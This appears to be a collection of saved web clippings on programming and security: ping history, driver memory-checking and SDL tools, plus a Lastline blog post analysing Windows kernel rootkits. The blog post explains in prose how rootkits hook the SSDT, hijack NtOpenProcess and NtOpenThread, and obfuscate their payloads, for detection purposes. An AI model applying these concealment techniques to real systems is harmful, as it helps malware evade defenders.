# research.microsoft.com/en-us/projects/yogi/readme.txt

**Created:**| _12/7/2012 1:10:36 PM_  
---|---  
**Updated:**| _12/7/2012 1:10:36 PM_  
**Author:**| __  
**Tags:**| _programming solver Functional_  
  
  

1\. Install SDVRP as described on SLAM page
\(http://research.microsoft.com/slam\) 2\. Ensure that your system has FSharp
1.9.9.9 and FSharp Powerpack 1.9.9.9 installed. You can download F\# 1.9.9.9
from: http://www.microsoft.com/en-us/download/details.aspx?id=15853 And F\#
Powerpack 1.9.9.9 from:
http://fsharppowerpack.codeplex.com/releases/view/40168 3\. Download yogi.zip
from http://research.microsoft.com/en-
us/downloads/03c46195-da8b-4bbc-b59e-2fb18a8a3c3a/ 4\. Unzip contents of
yogi.zip to C:\WinDDK\SDV\bin\engine\yogi.Please create the folder yogi if it
does not exist. 5\. You will see an enginea \(path:
C:\WinDDK\SDV\bin\engine\yogi\enginea\) folder appear with the binaries in
that folder. 6\. cd C:\WinDDK\SDV\bin\engine 7\. robocopy /mir enginea
enginea.bak \(this is in case you want to use SLAM2 in the future\). 8\. copy
yogi\enginea\\\* enginea\\\* 9\. Now you are done, and you can use SDVRP with
the Yogi verification engine\!

  

# The Story of the PING Program

**Created:**| _1/9/2013 2:15:18 PM_  
---|---  
**Updated:**| _1/9/2013 2:15:18 PM_  
**Author:**| __  
**Tags:**| _network-security History_  
  

#  The Story of the PING Program

Yes, it's true\! I'm the author of **ping** for UNIX. Ping is a little
thousand-line hack that I wrote in an evening which practically _everyone_
seems to know about. :-\)

I named it after the sound that a sonar makes, inspired by the whole principle
of echo-location. In college I'd done a lot of modeling of sonar and radar
systems, so the "Cyberspace" analogy seemed very apt. It's exactly the same
paradigm applied to a new problem domain: ping uses timed IP/ICMP
ECHO\_REQUEST and ECHO\_REPLY packets to probe the "distance" to the target
machine.

My original impetus for writing PING for 4.2a BSD UNIX came from an offhand
remark in July 1983 by Dr. Dave Mills while we were attending a DARPA meeting
in Norway, in which he described some work that he had done on his "Fuzzball"
LSI-11 systems to measure path latency using timed ICMP Echo packets.

In December of 1983 I encountered some odd behavior of the IP network at BRL.
Recalling Dr. Mills' comments, I quickly coded up the PING program, which
revolved around opening an ICMP style SOCK\_RAW AF\_INET Berkeley-style
socket\(\). The code compiled just fine, but it didn't work -- there was no
kernel support for raw ICMP sockets\! Incensed, I coded up the kernel support
and had everything working well before sunrise. Not surprisingly, Chuck
Kennedy \(aka "Kermit"\) had found and fixed the network hardware before I was
able to launch my very first "ping" packet. But I've used it a few times since
then. \*grin\* If I'd known then that it would be my most famous
accomplishment in life, I might have worked on it another day or two and added
some more options.

The folks at Berkeley eagerly took back my kernel modifications and the PING
source code, and it's been a standard part of Berkeley UNIX ever since. Since
it's free, it has been ported to many systems since then, including Microsoft
Windows95 and WindowsNT. You can identify it by the distinctive messages that
it prints, which look like this:

>
[code]

>     PING vapor.arl.army.mil (128.63.240.80): 56 data bytes
>     64 bytes from 128.63.240.80: icmp_seq=0 time=16 ms
>     64 bytes from 128.63.240.80: icmp_seq=1 time=9 ms
>     64 bytes from 128.63.240.80: icmp_seq=2 time=9 ms
>     64 bytes from 128.63.240.80: icmp_seq=3 time=8 ms
>     64 bytes from 128.63.240.80: icmp_seq=4 time=8 ms
>     ^C
>     ----vapor.arl.army.mil PING Statistics----
>     5 packets transmitted, 5 packets received, 0% packet loss
>     round-trip (ms)  min/avg/max = 8/10/16
>  
[/code]

In 1993, ten years after I wrote PING, the USENIX association presented me
with a handsome scroll, pronouncing me a Joint recipient of The USENIX
Association 1993 **Lifetime Achievement Award** presented to the Computer
Systems Research Group, University of California at Berkeley 1979-1993.
\`\`Presented to honor profound intellectual achievement and unparalleled
service to our Community. At the behest of CSRG principals we hereby recognize
the following individuals and organizations as CSRG participants, contributors
and supporters.'' Wow\!

Want to see the  source code ? \(40k\)

From my point of view PING is _not_ an acronym standing for Packet InterNet
Grouper, it's a sonar analogy. However, I've heard second-hand that Dave Mills
offered this expansion of the name, so perhaps we're both right. Sheesh, and I
thought the government was bad about expanding acronyms\! :-\)

Phil Dykstra added ICMP Record Route support to PING, but in those early days
few routers processed them, making this feature almost useless. The limitation
on the number of hops that could be recorded in the IP header precluded this
from measuring very long paths.

I was insanely jealous when Van Jacobson of LBL used my kernel ICMP support to
write TRACEROUTE, by realizing that he could get ICMP Time-to-Live Exceeded
messages when pinging by modulating the IP time to life \(TTL\) field. I wish
I had thought of that\! :-\) Of course, the real traceroute uses UDP datagrams
because routers aren't supposed to generate ICMP error messages for ICMP
messages.

The best ping story I've ever heard was told to me at a USENIX conference,
where a network administrator with an intermittent Ethernet had linked the
ping program to his vocoder program, in essence writing:

>
[code]

>     ping goodhost | sed -e 's/.*/ping/' | vocoder
>  
[/code]

He wired the vocoder's output into his office stereo and turned up the volume
as loud as he could stand. The computer sat there shouting "Ping, ping,
ping..." once a second, and he wandered through the building wiggling Ethernet
connectors until the sound stopped. And that's how he found the intermittent
failure.

##  The Story About Ping

<img src='img/Temp2_8318.gif' width='116' height='140' alt='Book cover: The
Story About Ping' /> The book by this title has nothing to do with networking,
but that didn't prevent a reader from Upper Volta, Uzbekistan contributing
this short but delightful review, which was was briefly seen at the
Amazon.Com  bookseller web site, and is saved here as part of the story about
the _other_ ping. \*grin\*

> The Story About Ping by Marjorie Flack, Kurt Wiese \(Illustrator\)
> Reading level: Baby-Preschool
> Paperback - 36 pages \(August 1977\). Viking Pr; ISBN: 0140502416 ;
> Dimensions \(in inches\): 0.17 x 8.86 x 7.15
> ================================================================
> ####  Reviews
> The tale of a little duck alone on the Yangtze River, The Story About Ping
> is a sweet and funny book with wonderfully rich and colorful illustrations.
> On a day like any other, Ping sets off from the boat he calls home with his
> comically large family in search of "pleasant things to eat." On this
> particular day, he is accidentally left behind when the boat leaves.
> Undaunted, the little duck heads out onto the Yangtze in search of his
> family, only to find new friends and adventures--and a bit of peril--around
> every bend.
> The exceptional illustrations bring the lush Yangtze to life, from Ping's
> family to the trained fishing birds he finds himself among to the faithfully
> rendered boats and fishermen. Certainly intended to be read aloud, The Story
> About Ping deserves a place on every young reader's \(or listener's\) shelf.
> \(Picture book\)
> ####  Synopsis
> A childhood classic. "Kurt Wiese and Marjorie Flack have created in Ping a
> duckling of great individuality against a background \(the Yangtze River\)
> that has both accuracy and charm."\--The New York Times. Full-color
> illustrations.
> Synopsis of the audio cassette edition of this title: A little duck finds
> adventure on the Yangtze River when he is too late to board his master's
> houseboat one evening.
> Card catalog description: A little duck finds adventure on the Yangtze River
> when he is too late to board his master's houseboat one evening.
> ================================================================
> ####  Customer Comments
> A reader from Upper Volta, Uzbekistan, March 7, 1999
> Excellent, heart-warming tale of exploration and discovery. Using deft
> allegory, the authors have provided an insightful and intuitive explanation
> of one of Unix's most venerable networking utilities. Even more stunning is
> that they were clearly working with a very early beta of the program, as
> their book first appeared in 1933, years \(decades\!\) before the operating
> system and network infrastructure were finalized.
> The book describes networking in terms even a child could understand,
> choosing to anthropomorphize the underlying packet structure. The ping
> packet is described as a duck, who, with other packets \(more ducks\),
> spends a certain period of time on the host machine \(the wise-eyed boat\).
> At the same time each day \(I suspect this is scheduled under cron\), the
> little packets \(ducks\) exit the host \(boat\) by way of a bridge \(a
> bridge\). From the bridge, the packets travel onto the internet \(here
> embodied by the Yangtze River\).
> The title character -- er, packet, is called Ping. Ping meanders around the
> river before being received by another host \(another boat\). He spends a
> brief time on the other boat, but eventually returns to his original host
> machine \(the wise-eyed boat\) somewhat the worse for wear.
> The book avoids many of the cliches one might expect. For example, with a
> story set on a river, the authors might have sunk to using that tired old
> plot device: the flood ping. The authors deftly avoid this.
> Who Should Buy This Book
> If you need a good, high-level overview of the ping utility, this is the
> book. I can't recommend it for most managers, as the technical aspects may
> be too overwhelming and the basic concepts too daunting.
> Problems With This Book
> As good as it is, The Story About Ping is not without its faults. There is
> no index, and though the ping\(8\) man pages cover the command line options
> well enough, some review of them seems to be in order. Likewise, in a book
> solely about Ping, I would have expected a more detailed overview of the
> ICMP packet structure.
> But even with these problems, The Story About Ping has earned a place on my
> bookshelf, right between Stevens' Advanced Programming in the Unix
> Environment, and my dog-eared copy of Dante's seminal work on MS Windows,
> Inferno. Who can read that passage on the Windows API \("Obscure, profound
> it was, and nebulous, So that by fixing on its depths my sight -- Nothing
> whatever I discerned therein."\), without shaking their head with deep
> understanding. But I digress.
> ================================================================
> Melissa Rondeau from Braintree, MA , March 11, 1999
> I collect reference books about the UNIX operating system. PING \(short for
> Packet InterNet Groper\) has always been one of those UNIX commands whose
> usefulness transcends its own simplicity. A coworker told me about a book
> dedicated to this one command, "The Story About PING." I was a little
> surprised that an entire book was devoted to the history of this UNIX
> command, but the price was certainly affordable, so I ordered it from a
> distributor. What arrived was actually an illustrated story book for young
> children. I thought it was a mistake, but my coworker told me later he was
> just playing a prank. I did read the book on the plane while traveling on
> business, and I have to admit, it's one of the finest pieces of children's
> literature I have ever read. A classic tale of adventure and innocence, with
> an important lesson to be learned. Not what I originally expected, but an
> enjoyable read none the less.
> ================================================================
> A reader from Houston, TX , November 25, 1998
> A wonderful, timeless story of family, adventure and home I can remember
> Captain Kangaroo reading this book on his TV show and that was probably 30
> years ago. A very delightful book which allows children to understand
> responsiblity, adventure, family and home. The story is simple and
> uncluttered, a small duck who decides to avoid the punishment due the last
> duck to board the boat each night - a whack on the back, by hiding and not
> boarding with the rest of the ducks.
> Ping has his adventure and returns to the boat and his family, wiser yet
> innocent. Great story to share with your children.
> ================================================================
> A reader from brunswick, jersey , November 30, 1997
> I grew up on Ping and I love it still. I'm 21 now and buying it for every
> friend with a kid. Its clean, its fun, and its just great.
* * *
UP  to Mike's Home Page.  
WAY UP  to the Lab's Home Page.  
NEXT  to the story of other great network tools.  

# Exploit Your Java Native Vulns on Win7/JRE7 in One Minute yay

**Created:**| _10/2/2013 3:08:22 PM_  
---|---  
**Updated:**| _10/2/2013 3:08:48 PM_  
**Author:**| _wishi_  
**Tags:**| _Exploit Java_  
  
<img
src='img/2013syscan360yukichensyscan360exploityourjavanativevulnerabilitiesonwin7jre7inoneminute-130929005602-phpapp02.pdf'
width='100%' height='25568' />

# High-Resolution Dynamic Analysis of Windows Kernel Rootkits

**Created:**| _3/22/2015 7:43:17 PM_  
---|---  
**Updated:**| _3/22/2015 7:43:17 PM_  
**Author:**| __  
**Tags:**| _windows kernel_  
  
  

# High-Resolution Dynamic Analysis of Windows Kernel Rootkits

reddit

UpvoteDownvotesubmit

  * __Tweet
 ____100

This page has been shared 100 times. View these Tweets.

  * inShare.215
  * Like| Share| 1~~~~ __  
---|---|---  
  * 2
.

<img src='img/clemens-kolbitsch.png' width='60 px' height='60' />

Posted by Clemens Kolbitsch LinkedIn Google+  
3/17/15 10:00 AM

Many recently-discovered sophisticated attacks against Windows users have been
found to use at least one component executing in the kernel of the operating
system. Examples for such APT attacks are Equation, Regin, Dark Hotel, or
Turla/Uroburos, and they have received a lot of scrutiny from the security and
research community.

These threats are particularly pernicious because their kernel components are
running with the highest level of permissions available on a computer system.
As such, it is very difficult for traditional antivirus systems to detect \(or
protect\) a computer system from these attacks, because the attacker is
running with the same \(or higher\!\) permissions as the AV solution.

At the same time, it is far from trivial to analyze such kernel-based APTs
inside a traditional sandboxing system, as kernel behavior often lies outside
the scope of what can be monitored using traditional hooking mechanisms.

In this post, we will show how the latest release of the Lastline Breach
Detection Platform using a full-system emulation approach defeats even the
latest version of kernel-based attacks. In a series of follow-up posts, we
will focus on individual APT families and techniques, and detail how our
sandbox can be used to analyze and detect these threats.

## Analysis of Malicious Code in the Kernel

Most traditional sandboxes available today are based on intercepting API
function invocations by placing hooks into the user-mode libraries loaded by a
program under analysis. The idea is to intercept - and sometimes even tamper
with - any parameters passed to functions that can be used to perform
security-relevant behavior on a system.

Some slightly more advanced sandboxes are also able to intercept system calls
invoked by the analyzed program, to address the case in which evasive malware
bypasses user-mode functions and interacts with the operating system kernel
directly. In both systems, the core idea is to interrupt the execution of
malicious code at certain points of interest in order to extract and log the
functions \(and their arguments\) that represent the actions performed by the
program under analysis.

When malware manages to load one of its components into the kernel \(for
example via an exploit, as we will cover in a follow-up post\), this malicious
component is loaded indistinguishably from trusted, operating-system code. At
this point, it is no longer feasible to monitor actions triggered by malware
code using traditional hooking mechanisms, as the malware behaviors do not
rely on invocations of user-mode APIs or system calls any longer.  
With the rise and prevalence of kernel-mode APTs, it is crucial to overcome
this problem in order to defend against these recent attacks.

Lastline’s high-resolution sandbox uses a full-system emulation approach,
which allows the sandbox to see every instruction executed inside the analysis
environment. This allows our engine to interrupt the execution of an
interesting piece of code at any time \(and not only when an API function or
system call is invoked\) to extract behavior, regardless of whether the
malicious code is running in the context of a user-application or the
operating system’s kernel. At the same time, our approach allows us to track
which code has been loaded or modified from the context of untrusted
operations \(such as newly-loaded drivers\) and thus track which code belongs
to the original, trusted kernel, and what code is part of the malware threat
and, therefore, requires special attention.

## Anatomy of Traditional Kernel-Rootkits

To start off, let us take a brief look at how kernel-based attacks have worked
in the past. While some of the attacks described below are rather well-
understood, they nevertheless highlight a few key concepts a next-generation
analysis sandbox has to fulfill to allow for the analysis of kernel-based
malicious code.

Most traditional rootkits have the ability to hide the user-mode components of
a malicious program. This is typically used to hide these components from AV
software or analysts looking for signs of an infection. This can be achieved
by hooking or modifying critical system tables, such as SSDT or IDT, or by
modifying other kernel memory regions, such as code or data sections of system
modules.

For such rootkits, the infection typically works as follows: First, an
attacker exploits a user system \(for example, the attacker tricks the user to
visit a URL serving a drive-by download exploit attacking the user’s
browser\), loading a piece of malicious code into the kernel. This code then
intercepts any system call invoked by user-mode applications, and filters any
data returned to a program that would reveal the infection. For example, if a
security product is looking for newly-generated files in a directory, this
filter function would simply remove any malicious files before returning a
directory listing to the requesting program. In a similar way, these hooks can
filter and hide the presence of registry modifications, running processes, or
any other event generated by the attacker.

<img src='img/Temp2_3900.png' width='1006' height='338' alt='Anatomy of
Traditional Kernel Rootkits Malware' />  
\(View Full-size\)

As one might have guessed, the presence of such filtering code loaded into the
kernel is very indicative of malicious activity. Therefore, the Lastline
analysis engine is able to analyze any code that is newly loaded into the
kernel of the operating system under analysis.

Additionally, whenever a critical function or memory location is hooked or
modified, the analysis system uses this information to classify the origin of
this code as malicious. At the same time, the analysis report exposes all this
information with details on the type of function that was hooked or modified,
providing analysts with highly-valuable information about the attack:

<img src='img/Temp2_3898.png' width='961' height='386' alt='Malware analysis
report showing kernel modification' />  
Analysis report showing kernel modification \(View Full-size\)

<img src='img/Temp2_3902.png' width='983' height='291' alt='Malware analysis
showing SSDT hooks modification' />  
Analysis report showing SSDT hooks modification \(View Full-size\)

<img src='img/Temp2_3899.png' width='975' height='251' alt='Analysis showing
critical kernel memory region modification' />  
Analysis report showing critical kernel memory region modification \(View
Full-size\)

## Anatomy of Kernel-Based APTs

Recent waves of APT-attacks, such as Regin, Dark Hotel, or Turla/Uroburos,
have shown that malware authors are using these rootkit techniques not only to
hide the presence of other user-mode components, but also to leverage the
privileges of kernel-code and integrate much more sophisticated behavior
directly into the kernel-components. Examples of such added functionality are
the ability to inject arbitrary code into running processes, or code to
download and install further code, directly from the context of the kernel.

At the same time, these APTs have also become more evasive against
traditional, signature-based detection systems. Very often, they use
encryption and loading in multiple stages to hinder analysis. Often they use
hidden and encrypted files in unpartitioned sections of the file-system to
hide their presence, even when the system is booted using a trusted,
uncompromised kernel to analyze an infected host.

<img src='img/Temp2_3901.png' width='1011' height='351' alt='Anatomy of
kernel-based APTs' />  
\(View Full-size\)

With full visibility into any malicious code running in user or kernel
context, the Lastline sandbox is able to perform comprehensive analysis of any
such components. Whenever the engine sees that untrusted code tampers with or
injects code into another user-mode process, the system includes any behavior
exhibited by the modified user-process in the analysis.

This way, our analysis results reflect the full chain of infection, from the
initial exploit modifying the kernel, all the way to kernel code spreading to
other user-mode processes.

<img src='img/Temp2_3904.png' width='683' height='345' alt='Kernel memory
hooking and user-mode injections' />  
Analysis report showing kernel-memory hooking and user-mode injections \(View
Full-size\)

## Understanding Kernel Modifications: Necrus

As we have described in a previous post on process snapshotting, the Lastline
analysis engine allows a security analyst to expose memory dumps from various
stages of the malware execution in addition to the detailed description of the
behavior observed during analysis.

This is no different for kernel-based malicious code, so let us use a variant
of the Necrus Rootkit to take a deeper look at how this malware behaves as
part of the kernel.

As any analyst who has worked on Necrus \(or really any kernel rootkit\)
knows, it is very tedious to analyze and understand the various decryption
loops obfuscating the interesting payload of a kernel driver.

The following snippet of code shows just one such decryption loop present in
Necrus:

<img src='img/Temp2_3895.png' width='642' height='728' alt='Understanding
kernel modifications — Necrus' />  
\(View Full-size\)

In addition to using various obfuscation/decryption loops, Necrus also
contains fake entries in the import table that are not related to any payload
functionality:

<img src='img/Temp2_3896.png' width='488' height='265' alt='Necrus fake
entries import table' />  
Function Exports in IDA \(View Full-size\)

Luckily for this analysis, we can skip the description of how to set up a
kernel debugger to intercept execution when the kernel component has decrypted
itself. The Lastline analysis engine does all of this automatically and
provides us with a decrypted, de-obfuscated, repackaged executable snapshot
that can be loaded via IDA Pro.

Once opened in IDA, the snapshot reveals all information about the decrypted
payload. For example, the Rebuilt APIs section contains information about
imports pointing to decrypted payload functionality:

<img src='img/Temp2_3897.png' width='610' height='477' alt='Deobfuscated
function pointers extracted analysis engine' />  
Deobfuscated Function Pointers Extracted by Analysis Engine \(View Full-size\)

Starting from this table, it is trivial to find a particular hook the analyst
is interested in. For example, we can follow KeServiceDescriptorTable, which
reveals that the sample patches the SSDT, and sets hooks at NtOpenProcess and
NtOpenThread to the code seen below:

<img src='img/Temp2_3903.png' width='926' height='429' alt='Malware sample
patches the SSDT' />  
\(View Full-size\)

The routine first maps the Service Descriptor Table in memory to find the
function addresses of NtOpenProcess and NtOpenThread. These pointers are then
overwritten with addresses of the corresponding hook functions. Subsequently,
calls to NtOpenProcess or NtOpenThread from any user-mode application execute
the hijacked functions of the rootkit.

## Summary

Kernel-based malicious code has become part of the most advanced and
sophisticated attacks seen in recent months. As a result, security solutions
and analysis sandboxes need to adapt and provide the ability for analyzing and
understanding kernel code to protect users from these threats.

Lastline’s high-resolution sandbox uses a full-system emulation approach and
is able to perform effective analysis of code running in both kernel and user
spaces. This allows us to obtain a complete picture of the malicious behavior
to detect and mitigate these advanced threats.

To learn more about Lastline's rootkit analysis capabilities, read the
announcement that we made today in a press release.

  

# Modern\_Windows\_Exploit\_Develop.pdf

**Created:**| _8/19/2015 11:22:25 AM_  
---|---  
**Updated:**| _8/19/2015 11:23:20 AM_  
**Author:**| _NO MERCY_  
**Tags:**| _Exploit Tutorials_  
  
<img src='img/Modern_Windows_Exploit_Develop.pdf' />

# Akamai's state of internet security report 2015 Q1

**Created:**| _8/26/2015 12:57:19 PM_  
---|---  
**Updated:**| _8/26/2015 12:59:37 PM_  
**Author:**| __  
**Tags:**| __  
  
  
<img src='img/2015-cloud-security-report-q2.pdf' />  

# CodeGuru: MemCheck Driver Memory Tool

**Created:**| _5/27/2009 2:40:32 PM_  
---|---  
**Updated:**| _5/27/2009 2:40:43 PM_  
**Author:**| __  
**Tags:**| _windows security security tools Exploit_  
  
MemCheck Driver Memory Tool  
**Rating:** none  
  
| **L5 Software Group, LLC** \(view profile\)  
April 8, 2002  
---|---  
_Environment:_ Windows NT/2K/XP driver development

  
\(continued\)

  
  
  

Purpose

* * *
The MemCheck code is designed to provide Windows NT/2K/XP driver developers
with a tool to help in the detection of the following memory handling issues:

Buffer overrun  
Buffer corruption  
Buffer use after buffer release  
Double buffer releases  

  
MemCheck’s Routines  

* * *
MemCheck has a specific API \(set of functions\) that should be used in place
of existing routines.

**Original routine  
**| **MemCheck routine**  
---|---  
ExAllocatePool\(…\)  
| MEM\_ALLOCATE\(…\)  
ExAllocatePoolWithTag\(…\)  
| MEM\_ALLOCATE\_WITH\_TAG\(…\)  
ExFreePool\(…\)  
| MEMCHECK\_FREE\(…\)  
The parameters for each of the MemCheck routines are exactly the same as those
in the original \(DDK\) functions. By replacing the original calls with the
memCheck versions, validation can be done during the allocation and release
routines.

In addition to the functions listed above, MemCheck also has the following
routines:

**MemCheck Routine**| **Description**  
---|---  
MEM\_CHECK\_INIT\(\) | Initialize memCheck's resources. This routine should be called before any other memCheck routines are used.   
MEM\_CHECK\(\) | Forces memCheck to validate all buffers being monitored.   
MEM\_LIST\_DISPLAY\(\) |   
Displays a list of all buffers being monitored by memCheck. In addition, each
buffer being monitored is validated for correctness \(the header and footer
tags are checked\).  
MEM\_VALID\_ACCESS\(\) | Tests ptr to see if it points to a location within a valid buffer being monitored by memCheck.   
MEM\_CHECK\_EXIT\(\) | Frees resources used by memCheck. This routine should be called when unloading. Make sure not to make further calls to memCheck routines after calling MEM\_CHECK\_EXIT\(\)   
  

MemCheck Settings

* * *
The settings for MemCheck are contained in the memcfg.h file. Each of these
settings is a simple macro. By defining and undefining a macro, the setting
can be turned on or off.

**MemCheck Setting**| **Description**  
---|---  
MEMCHECK\_ON | Enable/disable the entire memcheck package.   
MEMCHECK\_DEBUGPRINT |   
Enables displaying of MEMCHECK\_DEBUG\(\) macro information this is mostly
debug information for memCheck itself.  
MEMCHECK\_DISPLAYPRINT |   
Enables displaying of MEMCHECK\_PRINT\(\) macro information  
MEMCHECK\_DISPLAY\_FREES |   
Display information when buffer is freed  
MEMCHECK\_DOUBLE\_FREES | Enable checking for double frees...this causes extra memory to be used and should NOT be left enabled for a shipping product.   
MEMCHECK\_HALT\_ON\_BAD | Causes a debug breakpoint to occur when a bad buffer tag is encounted   
MEMCHECK\_FREE\_ON\_EXIT | Allows memcheck to free its resources upon exit. This is normally left on   
  
  
How MemCheck works

* * *
MemCheck’s main functionality is exercised when all allocation and release
routines \(ExAllocatePool\(…\), ExAllocatePoolWithTag\(…\) and
ExFreePool\(…\)\) are replaced with the MemCheck analog \(see MemCheck’s
Routines above for more information\). With these routines in place, MemCheck
maintains a list of each buffer allocated. When the client requests a 1K
buffer be allocated, MemCheck actually allocates a larger buffer. This extra
space is used to store tags at the start \(header\) and end \(footer\) of the
buffer. The client is returned a pointer to a buffer of the requested size
\(assuming the call was successful\). MemCheck then writes a specific value in
the header and footer tags. If at any point MemCheck realizes that the tags
are invalid, it can tell that the user has perturbed their memory.

**NOTE: MemCheck stores more information within the buffer than just the tags
and client data. The above description is a simplification of the actual
method MemCheck uses. Please refer to memcheck.c code to see how the real
buffer list is maintained.**

Another useful feature of MemCheck is MEM\_VALID\_ACCESS\(\). By calling
MEM\_VALID\_ACCESS\(ptr\), MemCheck can compare the ptr address to the
addresses of each of the monitored buffers. If the address is not within a
valid buffer range, MemCheck can display a warning.

When the MEMCHECK\_DOUBLE\_FREES macro is defined \(in memcfg.h\) and the
client frees a buffer, the buffer is not actually released. Instead, it’s
information is maintained. In the event that an attempt is made to free the
same ptr, MemCheck will be able to notify the client.

  

Using the MemCheck Code

* * *
The first step in using the MemCheck code is to call MEM\_CHECK\_INIT\(\) when
your driver initializes and MEM\_CHECK\_EXIT\(\) when your driver unloads. The
next step is to replace all the original DDK memory allocation and release
calls with the MemCheck counterparts  _\(see MemCheck’s Routines above for
more information\)_. After completing these steps, make sure MemCheck is
enabled \(via the MEMCHECK\_ON macro in memcfg.h\). Then build the driver and
run it. MemCheck will be able to scour the memory usage right away and try to
find problems.

In addition to the previous steps, users may find it useful to use the other
‘helper’ functions to track down buffer problems. These functions are

  * MEM\_CHECK\(\)
  * MEM\_LIST\_DISPLAY\(\)
  * MEM\_VALID\_ACCESS\(\)

_\(see MemCheck Routines above for a description of these routines\)._

When you have finally tracked down all memory issues, you can disable the
MemCheck package by undefining the MEMCHECK\_ON macro in memcfg.h. This has
the effect of making your code build with no code from MemCheck being
included. This means that the size and performance of the driver will be the
same as one using only the DDK calls.

### Downloads

Download source - 28.8 Kb

# The Security Development Lifecycle : Two New Security Tools for your SDL
tool belt \(Bonus: a “7-easy-steps” whitepaper\)

**Created:**| _9/19/2009 8:18:53 PM_  
---|---  
**Updated:**| _9/19/2009 8:19:12 PM_  
**Author:**| __  
**Tags:**| _SDL programming_  
  

##### Two New Security Tools for your SDL tool belt \(Bonus: a “7-easy-steps”
whitepaper\)

Jeremy Dallman here to announce the release of two new security tools that
will help you test and verify the security of your software – and meet some of
the most critical requirements of the SDL. In addition, we are responding to
customer requests and providing a basic 7-step guide for manually integrating
key elements of the SDL Process Template into your existing Visual Studio Team
System project.

As secure coding becomes an increasingly important piece of software
development across the industry, we realize that security tools become a
critical piece of your “security tool belt” and help ease adoption of security
development best practices in your organization. In today’s economy, the tools
that will get deployed are the inexpensive \(or free\) tools that effectively
identify security issues, work seamlessly with your existing development
environment and help teams implement the basics of the SDL.

**Today we are making available ****BinScope Binary Analyzer**** and
****MiniFuzz File Fuzzer**** as no cost downloads.**

We put together a couple of demo videos also. You can find them here: BinScope
video & MiniFuzz video.

Let me briefly introduce you to each of these tools and explain why we think
they are ideal tools to download and immediately include in your development
lifecycle to verify the security of your code.

#### BinScope Binary Analyzer

##### What it does

The BinScope Binary Analyzer is an SDL-required security tool that has been
used by Microsoft teams since the early days of the SDL. It analyzes your
binaries for a wide variety of security protections with a very
straightforward and easy-to-use interface. At Microsoft, developers and
testers are required to use this tool in the Verification Phase of the SDL to
ensure that they have built their code using the compiler/linker protections
required by the Microsoft SDL.

The analyzer performs a diverse set of security checks. These checks include:

  * /GS flag is being set to detect stack-based buffer overflows
  * /SafeSEH flag**** is being set to enable and ensure safe exception handling
  * /NXCOMPAT flag**** is being set to enforce data execution prevention \(NX\)
  * /DYNAMICBASE flag**** is being set to enable Address Space Layout Randomization \(ASLR\)
  * .NET Strong-Named Assemblies are being used to ensure unique key pairs and strong integrity checks are in place
  * Known good ATL headers are being used
  * Up-to-date compiler and linker versions are being used****\(minimum Visual Studio 2005 SP2\)
  * Reports on dangerous constructs**** that are prohibited/discouraged by the SDL \(e.g. read/write shared sections, global function pointers\).

##### How you use it

The BinScope Binary Analyzer can be downloaded as a standalone tool or as a
tool that can be integrated into Visual Studio 2008. By offering these two
options, this tool can easily and quickly help you build your code to meet the
SDL compiler/linker protections.

<img src='img/Temp2_8296.png' width='414' height='278' alt='clip_image002' />

\(Figure above: stand-alone BinScope\)

<img src='img/Temp2_8295.png' width='417' height='285' alt='clip_image004' />

\(Figure above: BinScope integrated in Visual Studio\)

##### Extra Goodness

With an integrated installation of the BinScope Binary Analyzer for Visual
Studio, validation is readily available in the development environment. In
addition, BinScope integrates with Microsoft Team Foundation Server \(TFS\) to
output results into work items. Finally, if your project is using the
Microsoft SDL Process Template for VSTS, BinScope will seamlessly integrate
with the template’s security work items and SDL Final Security Review
reporting.

<img src='img/Temp2_8298.png' width='427' height='169' alt='clip_image006' />

\(Figure above: Easy output to TFS to create bugs and speed triage\)

<img src='img/Temp2_8297.png' width='431' height='314' alt='clip_image008' />

\(Figure above: Seamless integration with the SDL Process Template reporting\)

#### MiniFuzz File Fuzzer

##### What it does

The MiniFuzz File Fuzzer is a very simple fuzzer designed to ease adoption of
fuzz testing by non-security people who are unfamiliar with file fuzzing tools
or have never used them in their software development processes. A less
capable and non-graphical version of this tool was originally published on the
CD that came with the book  _The Security Development Lifecycle_ __ by Steve
Lipner and Michael Howard. Since that tool was effective at finding quality
bugs, we wanted to offer it more widely along with our other SDL tools,
improve the user experience, and provide integration with Visual Studio and
Team foundation Server.

Because fuzzing is effective at finding bugs, it is a required activity in the
Verification Phase of the Microsoft Security Development Lifecycle \(SDL\).
With the release of the MiniFuzz File Fuzzer, we have made a simple file
fuzzer available to assist developer efforts to find and address more security
bugs in code before it ships to customers. Simply provide the tool with a set
of correctly formed files to serve as templates, and it will generate
corrupted versions for testing. The effectiveness of fuzz testing can be
increased by providing more variation in the template files.

##### <img src='img/Temp2_8294.png' width='376' height='383'
alt='clip_image010' />

##### How you use it

When you install the MiniFuzz File Fuzzer, it is provided as a stand-alone
fuzzing tool that can be launched from your Start Menu. However, if you are
using Visual Studio 2008, you can easily include the tool in Visual Studio as
an Add-in Tool and launch it from there. In addition, the tool can also output
to Team Foundation Server and integrate with the Microsoft SDL Process
Template for Visual Studio Team System similar to the BinScope Binary
Analyzer.

#### Whitepaper: Manually Integrating the SDL Process Template

The whitepaper can be downloaded here

After a successful release of the SDL Process Template for VSTS, we heard from
some customers that they would like to include the key elements of the SDL
into their existing team project. So, we figured out how to do that in 7 easy
steps and wrote a whitepaper\! This paper outlines the steps for manually
extracting the key elements of the SDL Process Template and integrating them
into an existing Visual Studio 2008 team project. By completing each of these
manual steps, you can include the key elements of the SDL into your project
without waiting until you start or build your next team project.

~~~~~~~~~~~~~~~~

That’s a lot of news for one day, but I hope you are as excited as we are to
be releasing these tools and making it possible for more development teams to
write secure code and adopt the SDL. We welcome your comments and questions as
you download and begin using these tools\!

\[edited: 9/16/09 11AM - added links to videos\]

Posted: Wednesday, September 16, 2009 6:01 AM by sdl

# rose/ROSE\_ResearchPapers at master · rose-compiler/rose

**Created:**| _8/26/2012 8:30:53 PM_  
---|---  
**Updated:**| _8/26/2012 8:30:53 PM_  
**Author:**| __  
**Tags:**| _compiler-building research_  
  

[code]

    This directory contains some of the research papers associated with the 
    ROSE project over the last several years.  For numerous reasons, we feel 
    that the latest papers are the best papers, this is likely typical
    of any ambitious project; but we have included everything for
    completeness.  It is hoped that the underlying goal within each paper
    of supporting the use of high-level abstractions will be clear together with
    our attempts to address the performance issues required for the use of 
    high-level abstractions within scientific computing.  A selectedpapers.bib 
    is included to make it easy to reference the latest papers.
    
    Best papers:
       ICS05BrianWhiteAndCast.pdf
       LCPC2004-OptimizationsOfObjectOrientedAbstractionsThroughClassificationOfSemantics.pdf
       JMLC2003-RoseArchitecture.ps
       LCPC03-ParallelOptimizationOfContainers.ps
       WOMPAT-OpenMPTranslation.ps
